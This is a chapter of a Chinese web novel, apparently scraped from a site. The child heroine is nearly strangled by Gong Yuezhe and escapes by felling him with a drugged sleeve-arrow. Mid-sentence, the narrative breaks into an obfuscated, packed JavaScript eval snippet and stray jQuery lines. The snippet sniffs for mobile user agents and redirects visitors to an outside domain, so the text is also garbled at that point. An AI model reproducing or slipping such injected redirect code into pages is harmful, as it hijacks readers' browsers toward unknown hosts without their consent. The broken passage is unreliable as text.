入卿门 作品

4. 第 4 章(第2页)

    宫越泽并不接话,站得笔直。

    禾千浅闭气,不敢呼吸。

    眼见一道红色的刀光闪电般掠出,却在离宫越泽脖颈毫厘之处停了下来。

    “为何不出手?”宫朔大怒道。

    宫越泽被这道红色刀芒震出原地一丈之外,过了好一会儿,才又从地上站起来,咳嗽几声,道:“我不会跟你动手。”

    见他这副死样子,宫朔握着刀柄的手紧了紧,再次动手。

    西侧入口处忽然响起一道声音:“二公子,可找着您了,少将军和少夫人到处找您呢,说是仙阳公主来了,让您赶紧过去。”

    宫朔骤然收起佩刀,强制压下怒火,瞥了一眼宫越泽,语气嘲讽道:“宫修明是宫家叛徒,而你……就是一个懦夫,窝囊废。”

    禾千浅心内汗了一下,周玉不是说这两人从小关系好得如同个亲兄弟?

    两人在外素有“宫家双杰”的盛名?

    怎么现下看着他两人像是隔着血海深仇一般?

    正在她诧异时,一股森冷气息从脊背慢慢爬了上来,如毒蛇吐信般环绕住她脖颈。

    她陡然回神,只见宫越泽那细长手指已经掐住了自己脖子。

    ——嗯?

    不是说宫朔实力更强吗?他都没注意到自己存在,怎么宫越泽发现了自己?

    她使劲掰那掐住自己脖子的手。

    可那手似是铜墙铁壁,纹丝不动。

    宫越泽霜雪般的眼眸透着一股杀意,五指用力,就要掐断禾千浅的脖子。

    禾千浅脑中一片空白。

    她感觉到周身血液似乎都在往上冲,旋即卡在了脖子处,让

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15764891|174530||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    她陷入木僵状态,失去了思考能力,甚至失去了尖叫力气。

    活了两辈子了,这种场面她还是第一次见。

    夜风拂过,那脖子的力道始终没有加重,似乎还松了一点点。

    禾千浅来不及思考,赶忙吐出五字:“——我是棠溪雪!”

    没有回应。

    空气静得可怕。

    宫越泽盯着她清亮纯真的黑眸,眼睛一眨不眨,似在想着她这话的真实性。

    静了一会儿后,掐着她脖子的手微微松了一点。

    喘过气来的禾千浅只剩下求生本能,她没有任何思索犹豫,只悄悄伸出右手,对准宫越泽,迅速按下袖中机关。

    一支淬了药的无尾短箭,闪电般刺入宫越泽腰部。

    砰砰两声,两人双双跌倒在砂砾铺就的地上。

    禾千浅顾不上疼痛,赶忙坐起身与宫越泽拉开距离,又摸了摸脖子,好疼。

    余光瞧见宫越泽腰部露出半截的箭身,在月光下,泛着银光。

    刚刚所用暗器是棠溪明月花了重金从墨家匠师手中买下的袖箭,本用来给她作保命之用。

    此袖箭非彼袖箭,其外观形状上更为精致小巧,里头机关更为简便,经过墨家匠师改造后,即便是五六孩童也能轻易使用。

    箭矢上淬了一种能使五境及以下修行者瞬间昏迷的药,凡是中箭者,若无医家修行者出手,皆得睡上个把月。

    禾千浅盯着宫越泽,静了一片刻。

    虽然宫越泽前一秒还想杀自己,但宫家与棠溪家是世交,她不能下死手。

    而且在宫家下死手,以她现在六岁的年纪和无法修行的情况下,她没有能力善后。

    若宫越泽真死了,此事必定会查到她身上。

    目前最好的作法就是装作不懂。

    想了一通后,她拿出手帕拔出短箭,放回箭筒中。

    临走前她瞧了瞧地上沉睡的宫越泽,内心气不过,又补了两脚。

    唯一的保命手段就这么暴露了。

    看来自己还是太年轻,太鲁莽。

    往回走路上遇见一群端着盘子下人,禾千浅转了转眼珠子,懵懵懂懂问:“我是棠溪雪,我……我好像迷路了,你们能带我去宴席吗?”

    她又补了一句:“我刚刚好像看到练武场那边有人晕倒了。”

    *

    回府后,禾千浅在无尽的懊悔和复盘中战战兢兢度过了一个月。

    令她惊讶的是,镇国将军府并没有追查宫越泽昏迷真相。

    在她缓了口气时,老夫人给她安排了各种学习课程,从琴棋书画,到骑马射箭,她忙得脚不沾地。

    禾千浅午睡睡醒后洗了把脸便跟老夫人请来的教书先生学习。

    教书先生年纪不大,约莫三十多岁,教的书都是些什么经书,晦涩难懂,还不如晏长青教得通俗易懂。

    夏日闷热,书房内放了老夫人送来的玉冰石,冷气氤氲,不一会儿,整个书房透着丝丝凉意。

    禾千浅听着窗外清亮蝉声,趴在桌上发呆。

    虽然老夫人对她要求极高,但对她又是发自内心的好。

    这种上等玉冰石,整个天阒大陆只怕找不出几块。

    教书先生看着自己学生发呆,正想训斥,可在看到那张粉雕玉琢的小脸蛋儿,却是心头一软,说不出话来。

    他不知该怎么形容这个小女孩,小小年纪,谈吐清楚,对于书上所载前人的微言大义也能明白一二,但对于一些极简单的问题,却总要想很久。

    教书先生轻叹一口气,继续自顾自讲课。

    等教学完毕,禾千浅礼貌地向先生行了一礼,然后恭敬地去主屋向老夫人报备今天学了什么。

    每每此时,老夫人看她的眼神就像是透过她在看另一个人。

    慈爱、温暖、夹杂着一丝难以言说的怅然。

    暮去朝来,日居月诸。

    禾千浅六岁时,老夫人亲自出门,带着她去天行院测试天资。